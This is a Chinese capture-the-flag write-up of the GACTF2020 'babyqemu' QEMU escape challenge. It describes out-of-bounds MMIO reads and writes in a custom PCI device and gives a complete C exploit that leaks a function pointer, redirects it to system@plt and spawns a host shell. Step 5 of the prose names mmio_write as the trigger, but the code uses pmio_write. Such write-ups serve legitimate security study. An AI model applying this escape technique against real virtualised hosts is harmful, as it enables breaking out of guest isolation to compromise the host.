【qemu逃逸】GACTF2020-babyqemu

前言

虚拟机用户名:root

无密码

设备逆向

题目去掉的符号,经过逆向分析,实例结构体如下:

【qemu逃逸】GACTF2020-babyqemu_第1张图片

可以看到 arr_int_8 数组后面存在一个函数指针,不用想基本上就是劫持该函数指针了。

denc_mmio_read 函数

【qemu逃逸】GACTF2020-babyqemu_第2张图片

这里存在越界读,在上面实例结构体中,arr_int_8 数组的大小为 8,而这里的下标达到了 9,所以刚好可以越界读取 func 的地址。

denc_mmio_write 函数

【qemu逃逸】GACTF2020-babyqemu_第3张图片

同理,这里也存在越界写,并且刚好可以写到 func,但是这里存在一个问题,就是每次写之前都会将数据进行异或。

异或的数据 data 是在实例初始化时设置的,这里设置的算法很复杂,基本上不考虑去逆向。

【qemu逃逸】GACTF2020-babyqemu_第4张图片

但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的,只需要让 mmio_write 的 val 等于 0 即可,然后在用 mmio_read 读出来。

denc_pmio_read 函数

【qemu逃逸】GACTF2020-babyqemu_第5张图片

该函数是正常读取,没有问题。 

denc_pmio_write 函数

【qemu逃逸】GACTF2020-babyqemu_第6张图片

该函数写入是正常的,当 addr = 0x660 时,会调用函数指针,参数为 arr_int_8 首地址。

注意这里存在花指令:

【qemu逃逸】GACTF2020-babyqemu_第7张图片

就是这个位置,大家 patch 掉就行了 

漏洞利用

其实就很简单了

1、利用 mmio_read 越界读泄漏 func 地址从而计算出 system@plt 地址

2、利用 mmio_write/mmio_read 泄漏异或 data

3、利用 mmio_write 越界写将 func 函数指针指向 system@plt

4、将 cmd 写入 arr_int_8

5、然后 mmio_write(0x660, 0) 触发即可

exp 如下:

#include 
#include 
#include 
#include 
#include 
#include 
#include 

void * mmio_base;
uint64_t pmio_base = 0xc000;

void mmio_init()
{
        int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
        if (fd < 0) puts("[X] open for mmio"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        if (mlock(mmio_base, 0x1000) < 0) puts("[X] mlock for mmio"), exit(EXIT_FAILURE);
}

void pmio_init()
{
        if (iopl(3) < 0) puts("[X] iopl for pmio"), exit(EXIT_FAILURE);
}

uint32_t mmio_read(uint64_t offset)
{
        return *(uint32_t*)(mmio_base + (offset << 2));
}

void mmio_write(uint64_t offset, uint32_t val)
{
        *(uint32_t*)(mmio_base + (offset << 2)) = val;
}

uint32_t pmio_read(uint64_t offset)
{
        return inl(pmio_base + (offset << 2));
}

void pmio_write(uint64_t offset, uint64_t val)
{
        outl(val, pmio_base + offset);
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        pmio_init();

        uint64_t func_addr = mmio_read(8);
        func_addr = func_addr | (1ULL * mmio_read(9) << 32);
        uint64_t system_plt = func_addr - 0x3A9EA8 + 0x2CCB60;
        printf("[+] func_addr: %#p\n", func_addr);
        printf("[+] system@plt addr: %#p\n", system_plt);

        uint32_t data[10];
        for (int i = 0; i < 10; i++)
        {
                mmio_write(i, 0);
                data[i] = mmio_read(i);
                printf(" [+] data[%d]: %#x\n", i, data[i]);
        }

        mmio_write(0, data[0]^0x6873);
        mmio_write(8, data[8]^(system_plt&0xffffffff));
        mmio_write(9, data[9]^((system_plt>>32)&0xffffffff));
        pmio_write(0x660, 0);

        puts("[+] End!");
        return 0;
}

效果如下: 【qemu逃逸】GACTF2020-babyqemu_第8张图片

你可能感兴趣的:(虚拟机逃逸,qemu逃逸)